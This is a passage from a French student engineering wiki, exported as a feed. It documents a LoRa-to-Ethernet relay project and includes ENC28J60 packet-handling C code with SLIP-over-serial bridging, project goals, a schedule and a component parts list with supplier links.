	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Slip.png&amp;diff=39205</id>
		<title>Fichier:Slip.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Slip.png&amp;diff=39205"/>
				<updated>2017-02-15T15:59:14Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39204</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39204"/>
				<updated>2017-02-15T15:58:34Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
